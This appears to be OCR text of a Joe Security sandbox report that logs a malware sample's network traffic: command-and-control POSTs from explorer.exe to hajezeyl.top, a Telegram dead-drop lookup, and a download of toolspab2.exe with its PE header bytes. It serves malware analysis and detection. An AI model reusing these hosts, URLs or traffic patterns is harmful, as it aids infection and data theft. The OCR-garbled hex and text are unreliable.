Accept: */*

Referer: http:/fftaocheul.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 110

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ugktie.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 194

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 8146
20:30:10.468175888 CEST

Session ID Source IP
48 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8147

20:30:11.633338928 CEST

Oct 29, 2021 8148
20:30:11.711445093 CEST

Session ID Source IP
49 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8148

20:30:11.826704025 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49807

Direction

ouT

Source Port
49808

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tkhdy.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 212

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:11 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hhnkknumd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 315

Host: hajezeyl.top
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kBytes

Timestamp transferred Direction Data
Oct 29, 2021 8149 IN HTTP/1.1 404 Not Found
20:30:11.905286074 CEST Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:30:11 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Session ID Source IP Source Port Destination IP  Destination Port Process
5 192.168.2.7 49747 185.98.87.159 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Oct 29, 2021 724 ouT POST /HTTP/1.1
20:29:20.944181919 CEST Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://rctoc.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 154

Host: hajezeyl.top

Oct 29, 2021 725 IN HTTP/1.1 404 Not Found
20:29:21.022907019 CEST Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 18:29:20 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 0d Oa 14 00 00 00 7b fa fO 1c b5 69 2b 2c 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 Od Oa 30 0d Oa 0d Oa
Data Ascii: 19{i+,GO0

Session ID Source IP Source Port Destination IP  Destination Port Process
50 192.168.2.7 49811 172.67.160.46 80

kBytes
Timestamp transferred Direction Data
Oct 29, 2021 8166 ouT GET /agrybirdsgamerept HTTP/1.1
20:30:34.785027981 CEST Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/plain; charset=UTF-8
Host: toptelete.top
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kBytes
Timestamp transferred

Oct 29, 2021 8167
20:30:35.011461020 CEST

Session ID Source IP
51 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 8172

20:30:35.072803974 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49812

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:30:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

set-cookie: stel_ssid=ecc739c305f707721e_286221579877052833; expires=Sat, 30 Oct 2021 18:30:34 GMT; path=/; sa
mesite=None; secure; HitpOnly

pragma: no-cache

cache-control: no-store

strict-transport-security: max-age=35768000

access-control-allow-origin: *

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=gbkjoW9dkaRTs9hARjHU%2FL%2F%2B8|
hbecZzAgpZI6DPbZRKRLKhOKPKgRg2HdkjQTvtgldHkHdSIJHOJBEB7L3haSqQ5z%2B%2BkfEW%2F5WPYP8XGWGES3x
wBg42AU%2BgA0QovqfsB"}],"group™:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6a5e79d37d95d70d-FRA

Data Raw: 31 31 65 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 3e Oa 20 20 3c 68 65 61 64
3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65
3e 54 65 6¢ 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 3c 2f 74
69 74 6¢ 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6€ 74 3d
22 7769 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22
3e 0a 20 20 20 20 Oa 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74
3d 2261 67 7279 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e Oa 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67
3a 69 6d 61 67 65 22 20 63 6f 6 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6¢ 65 67 72 61 6d 2e 6f 72 67 2f 69 6d
67 2f 74 5f 6¢ 6 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61
6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6¢ 65 67 72 61 6d 22 3e 0a 3¢ 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d
22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6 74 65 6e 74 3d 22 37 61 63 38 61 71 38 39 65 6e 44 70 48 45
46 4f 49 52 75 4b 31 57 30 76 31 73 46 30 71 43 36 2f 34 62 62 2d 76 31 36 22 3e 0a Oa 3c 6d 65 74 61 20 70 72 6f 70 65
727479 3d 227477 69 74 74 65 72 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 6
16d 65 72 65 70 74 22 3e Oa 3c 6d 65

Data Ascii: 11ef<IDOCTYPE html><html|> <head> <meta charset="utf-8"> <title>Telegram: Contact @agrybirds
gamerept</titte> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title"
content="agrybirdsgamerept"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta prop
erty="0g:site_name" content="Telegram"><meta property="og:description" content="7ac8aq89enDpHEFOIRuK
1WO0v1sF0qC6/4bb-v16"><meta property="twitter:title" content="agrybirdsgamerept"><me

Destination IP Destination Port Process

91.219.236.97 80

Data

POST /HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/plain; charset=UTF-8
Content-Length: 132

Host: 91.219.236.97
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kBytes
Timestamp transferred

Oct 29, 2021 8173
20:30:35.410000086 CEST

Session ID Source IP
6 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 726

20:29:21.109474897 CEST

Oct 29, 2021 726
20:29:21.187556982 CEST

Session ID Source IP

7 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49748

Direction
ouT

Source Port

49749

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 29 Oct 2021 18:30:35 GMT

Content-Type: text/plain;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Data Raw: 32 34 61 38 0d Oa 68 52 6b 67 67 6a 6a 72 50 74 45 64 41 30 30 35 6a 51 47 69 34 37 6e 51 44 42 35 4c 68
51 55 4d 36 6d 61 2b 4b 50 63 74 74 74 36 55 74 65 2f 67 56 5a 4b 73 63 66 36 7a 36 79 55 32 30 38 43 41 67 4b 5a 2b
61 78 37 52 50 4d 37 4d 63 75 4e 4c 58 6d 46 66 45 4b 75 6¢ 48 4d 74 2b 33 69 43 64 34 4f 55 2f 39 46 50 4e 53 49 6b 6
942 6434795979 74 52 4c 77 6b 48 49 6a 38 33 66 50 45 6¢ 32 6¢ 46 67 6d 65 46 47 6d 32 68 66 31 47 73 77 42 4b 2b
6e 75 66 77 49 32 77 34 59 45 33 47 55 57 68 37 76 74 58 4f 54 4d 69 61 7a 6f 52 71 46 42 74 45 53 73 33 4a 41 45 55
64 4f 45 55 70 41 39 74 59 6¢ 79 34 77 66 31 37 30 58 6f 35 57 32 4f 41 37 73 6b 64 44 72 32 6d 61 36 4f 70 49 48 35 77
30 49 39 56 45 50 68 64 52 6¢ 46 52 66 62 38 39 36 48 33 54 69 56 61 37 41 2b 4d 32 37 76 77 64 78 4c 59 47 5a 2f 31
43 62 6a 54 65 59 4d 66 56 53 6¢ 43 58 30 4f 2f 4a 4c 59 64 57 63 66 44 75 50 4d 38 6d 41 76 75 32 46 70 48 2f 46 78 36
66 5a 36 32 50 7a 62 57 6a 6e 5a 47 72 39 2b 69 77 33 64 34 62 46 2f 67 6d 77 74 6¢ 4b 4a 64 30 50 59 75 38 6e 45 47
45 2b 73 31 36 46 33 4d 2f 35 72 6¢ 65 53 44 70 61 6d 62 43 38 44 77 58 37 47 43 37 71 65 37 5a 47 65 33 71 67 58 38
34 46 42 6e 77 39 41 34 59 79 51 6a 65 4f 48 53 6¢ 70 4c 4d 39 6a 4c 6f 75 73 6e 33 70 34 6a 7a 74 4c 35 46 41 38 79 66
73 6e 76 6e 52 79 4d 6a 34 4d 42 6a 50 6d 79 77 42 64 5a 38 6d 57 59 34 46 54 50 66 45 33 61 6b 31 74 61 61 79 61 33
3837 78 74 58 51 4c 33 38 2f 4e 4d 35 4b 55 73 2f 59 68 64 79 32 4e 4d 53 33 4f 4d 55 74 4a 59 68 35 61 43 70 34 59 37
33 6e 30 54 44 4d 7a 79 6¢ 56 54 66 79 30 63 58 59 77 4b 46 74 7a 74 2b 2b 67 74 51 2b 45 2f 4a 33 57 6f 49 70 30 62 6f
4f 79 77 79 6a 48 6¢ 6a 54 49 4d 71 63 63 68 30 56 4b 56 62 73 4c 73 50 77 30 46 69 53 66 37 2f 62 2f 42 72 39 68 53 5a
68 35 6d 5a 44 52 6d 70 33 34 2f 33 47 76 77 39 61 42 71 6f 72 65 65 44 32 30 51 33 75 42 53 5a 33 44 32 70 36 39 4e
52 78 49 50 32 73 67 65 39 70 70 4e 63 52 5a 43 42 33 44 56 79 41 72 73 43 47 30 6¢ 4e 52 4d 31 65 66 61 75 58 2f 73
79 61 2f 63 70 63 7a 54 70 77 71 4a 30 34 4f 5a 59 47 30 77 69 75 6f 4f 51 42 52 71 53 30 55 62 74 78 37 38 2b 4d 42 6f
49 63 79 41 47 55 45 57 31 41 61 5a 6f 65 76 45 4b 67 38 68 4d 55 57 6b 4f 54 52 2b 32 55 41 74 6¢ 46 37 4d 4a 2f 2f 6b
384867 6¢ 74 70 4b 4c 79 76 68 63 4d 32 6d 5a 2f 51 54 4d 53 58 58 38 65 74 59 79 56 41 4b 72 2b 48 69 65 41 30 6a
77 6e 66 51 30 73 6f 38 6d 41 74 55 4d 74 72 6b 68 6d 4d 4e 76 6d 6¢ 47 76 64 77 43 5a 31 6d 62 34 50 41 70 53 38 42
50 61 44 68 39 75 63 38 4f 41 6e 59 49 48 71 30 35 42 72 64 33 38 44 70 4d 79 47 46 33 4a 37 64 4b 76 56 56 78 63 39 6
b 47 63 2b 4d 31 68 74 56 78 36 51 56 7a 6d 69 77 65 58 4e 58 50 30 77 53 46 77 2b 34 36 79 69 30 33 36 30 62 6a 71
49 73 30 64 4b 39 49 4e 7a 6d 4f 73 41 5a 47 77 38 33 67 44 43 53 33 41 42 62 32 6e 53 65 42 4a 71 4¢c 41 43 73 68 41
36 73 4b 2f 79 46 32 56 44 6b 6a 42 75 57 49 30 6a 4e 67 32 75 33 4d 39 57 6a 53 73 46 39 4b 71 2b 6b 69 79 66 2b 5a
47 5a 4f 52 56 43 6d 46 4c 75 55 76 64 6a 78 46 46 34 48 58 55 42 6f 51 71 6f 6f 31 39 6a 78 31 51 4e 6 56 37 74 74 76
72 57 5a 52 66 4e 54 39 4d 74 4e 56 52 41 63 47 68 5a 46 79 31 6a 7a 7a 2f 4b 48 79 42 58 77 63 55 35 37 6a 34 4c 6d
65 35 51 63 6e 30 74 31 66 63 49 30 59 34 2b 59 4f 4b 6a 56 31 47 59 30 67 50 73 35 67 6e 4b 74 61 30 72 6d 6f 54 61
7157 69 34 34 44 77 43 77 42 6a 4a 63 33 52 69 46 78 30 41 68 52

Data Ascii: 24a8hRkggjjrPtEdA005jQGi47nQDB5LhQUM6ma+KPcttt6Ute/gVZKscf6z6yU208CAgKZ+ax7RPM
7McuNLXmFEKUlHMt+3iCd40U/9FPNSIkiBd4yYytRLWKHIj83fPEI2IFgmeFGm2hf1GswBK+nufwl2w4YE3GUWh7v
tXOTMiazoRqFBtESS3JAEUdOEUpAItYly4wf170X05W20A7skdDr2ma6OplH5wO0I9VEPhdRIFRfb896H3TiVa7A+M2
7vwdxLYGZ/1ChjTeYMfVSICX0O/ILYdWcfDuPM8mAvVU2FpH/Fx6fZ62PzbWjnZGr9+iw3d4bF/gmwtlKJdOPYu8nEG
E+s16F3M/5rleSDpambC8DwX7GC7qe7ZGe3qgX84FBnw9A4YyQjeOHSIpLM9jLousn3p4jztL5FA8yfsnvnRyMj4MB
jPmywBdZ8mWY4FTPfE3akltaaya387xtXQL38/NM5KUs/Yhdy2NMS30MUtIYh5aCp4Y73n0TDMzyIVTfyOcXYwWKFtz
t++gtQ+E/J3Wolp0boOywyjHIjTIMgcchOVKVbsLsPwWOFiSf7/b/BrohSZh5mZDRmp34/3Gvw9aBgoreeD20Q3uBSZ
3D2p69NRxIP2sge9ppNcRZCB3DVyArsCGOINRM1efauX/sya/cpczTpwgJ040ZYGOwiuoOQBRgSOUbtx78+MBolcyA
GUEW1AaZoevEKg8hMUWKOTR+2UALtIF7MJ//k8HgltpKLyvhcM2mZ/QTMSXX8etYyVAKr+HieAOjwnfQOso8mAtUMtr
khmMNvmIGvdwCZ1mb4PApS8BPaDh9uc80ANYIHq05Brd38DpMyGF3J7dKvVVxcIkGe+M1htVx6QVzmiw
eXNXPOwWSFw+46yi0360bjqls0dK9INzmOsAZGw83gDCS3ABb2nSeBJIgLACshAGsK/yF2VDkjBuWIOjNg2u3MOW|SsF
9Kg+kiyf+ZGZORVCmFLUUVdjxFF4AHXUB0Q0019jx1QNoV7ttvrWZRNTIMINVRACGhZFy1jzz/KHyBXwcU57j4Lme
5Qcn0t1fclOY4+YOKjV1GY0gPs5gnKtaOrmoTaqWi44DwCwBjJc3RiIFXOAhR

Destination IP  Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cufneavefi.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 207

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2
13 cc 7b b8 43 12 c2 55 al b9 67 f4 25 45 51 b8 f6 cb 41 el Oe 88 16 95 el 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d Oa
30 0d 0Oa 0d Oa

Data Ascii: 461:8200j{CUg%EQAc}ycO

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Oct 29, 2021 27
20:29:21.273890018 CEST

Oct 29, 2021 728
20:29:21.423413038 CEST

Session ID Source IP
8 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 1423

20:29:24.119602919 CEST

Oct 29, 2021 1424
20:29:24.198115110 CEST

Session ID Source IP

9 192.168.2.7

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49756

Direction
ouT

Source Port

49757

Data

GET /downloads/toolspab2.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou-6000.top

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:21 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Fri, 29 Oct 2021 18:29:01 GMT

ETag: "54000-5cf820050e185"

Accept-Ranges: bytes

Content-Length: 344064

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02
e9¢c7617477c72c02ddc73c7477c74a0cedc? 447477 c743 7476 c7 3c 7477 c72c02d8c7 427477 c7 2c 02
ed c7 427477 c72c02eac7 4274 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ¢
a 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00
d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 cO 74 02 00 04 00 00
31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b
00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40
00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 2e 74 65 78 74 00 00 00 dO bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
